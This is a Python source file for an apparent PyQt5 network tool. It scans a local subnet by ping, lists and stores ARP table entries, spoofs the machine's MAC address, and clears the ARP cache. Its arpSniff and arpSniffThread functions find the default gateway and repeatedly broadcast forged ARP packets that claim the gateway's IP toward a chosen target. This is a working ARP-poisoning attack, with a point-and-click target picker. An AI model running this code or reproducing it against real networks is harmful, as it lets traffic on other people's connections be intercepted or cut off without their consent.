import os
import re

from scapy.layers.l2 import Ether, ARP
from scapy.sendrecv import sendp

from Utils.ChangeMac import *
from Utils.ScanIp import *
from io import StringIO
from PyQt5.QtWidgets import QApplication, QMessageBox
from Utils.SqlOpera import *


class BtnFunction:
    def scanIpAddress(self):
        print('Scanning')
        if self.step == 254:
            self.timer_scan.stop()
            self.scan_ip.setEnabled(True)
            self.teminal.append(str(f"Scanning Finished"))
        ipAddr = self.ip_input.text()
        masked_ip = ip_splie(ipAddr)
        if masked_ip:
            print(f"Scanning {masked_ip}{str(self.step)} to {masked_ip}254")
            self.teminal.append(str(f"Scanning {masked_ip}{str(self.step)} to {masked_ip}254"))
            ip = masked_ip
            ip += str(self.step)
            ping_check(ip)
            self.step += 1
            print("Next")
        else:
            self.teminal.append(str(f"Please Check ip format {masked_ip}"))
            self.teminal.append(str(f"Scanning Had Been Stop"))
            self.timer_scan.stop()
            self.scan_ip.setEnabled(True)

    def startScanSlot(self):
        self.step = 0
        self.timer_scan.start(10)
        self.scan_ip.setEnabled(False)

    def getArpMessage(self):
        self.listWidget.clear()
        with os.popen('arp -a') as f:
            data = f.read()
        for line in re.findall('([-.0-9]+)\s+([-0-9a-f]{17})\s+(\w+)', data):
            msg = ""
            for i, res in enumerate(line):
                if i < 2:
                    msg += str(res)
                    msg += " "

                else:
                    pass
            self.listWidget.addItem(str(msg))
            self.teminal.append(str(msg))

    def catchTerminalThreading(self):
        data = StringIO()
        if len(data.getvalue()) != 0:
            self.teminal.append(str(data.getvalue()))
        else:
            pass

    def checkWindowStatus(self):
        if self.isMaximized():
            self.showNormal()
        else:
            self.showMaximized()

    def changeMac(self):
        mac = self.mac_input.text()
        mac = mac_splite(mac)
        print(f"Sniff Switch Mac {mac}")
        QMessageBox.critical(self.widget_3, "Tip", "正在修改{netCard}适配器".format(netCard=self.netCard))
        # return
        if mac:
            self.setMac.run(mac,self.netCard)
        else:
            self.teminal.append(str("错误的Mac地址"))

    def clearArp(self):
        res = admin_clear()
        print(res)
        if res:
            self.teminal.append(str("已清除Arp表缓存"))
        else:
            self.teminal.append(str("清除Arp表失败"))

    def itemEventDeal(self):
        clickOr = self.listWidget.currentItem()
        clickedContent = clickOr.text()
        self.mac_input.setText(str(clickedContent.split(' ')[1]))
        self.tarGetIp = str(clickedContent.split(' ')[0])

    def copyMac(self):
        clipBoard = QApplication.clipboard()
        mac = self.mac_input.text()
        mac = mac_splite(mac)
        clipBoard.setText(str(mac))
        QMessageBox.information(self.widget_3, "Tips", "Copy Finish", )

    def openNetManager(self):
        os.system("ncpa.cpl")
        self.teminal.append(str("打开网络适配器"))

    def insertData(self):
        for i in range(int(self.listWidget.count())):
            res = self.listWidget.item(i).text()
            res = res.split(' ')
            ipExisted = searchDataByIp(self.connect, res[0])
            if len(ipExisted) == 0:
                insertDate((res[0], res[1]), self.connect)
            else:
                pass

    def selectData(self):
        QMessageBox.information(self.widget_3, "Tips", "使用前需列出Arp表", )
        res = selectDate(self.connect)
        msg = ''
        mac = {}
        for i in res:
            self.teminal.append(str(i))
            msg += str(i[1])
            msg += ' '
            mac.update({i[1]: i[2]})
        for i in range(int(self.listWidget.count())):
            res = self.listWidget.item(i).text()
            res = res.split(' ')
            ip = res[0]
            msg = msg.replace(str(ip), ' ')
        downIp = msg.split(' ')
        self.listWidget.clear()
        for i in downIp:
            macAddress = mac.get(i)
            item = str(i)
            item += ' '
            item += str(macAddress)
            if item is not None:
                self.listWidget.addItem(str(item))

    def clearData(self):
        deleteDate(self.connect)

    def arpSniffThread(self):
        print('Sniff\t',self.tarGetIp)
        sendp(Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=self.tarGetIp, psrc=self.getway))

    def arpSniffStop(self):
        self.timer_hack.stop()

    def arpSniff(self):
        self.timer_hack.stop()
        if self.tarGetIp != 0:
            rtable = os.popen('route print').read()
            self.getway = re.findall(r'0\.0\.0\.0\s+0\.0\.0\.0\s+(\S+)\s', rtable)[0]
            print(self.getway)
            self.timer_hack.start(350)
            QMessageBox.critical(self.widget_3, "Tip", f"SniffTarget{self.tarGetIp}")
        else:
            QMessageBox.critical(self.widget_3, "Tip", "没有选中目标")
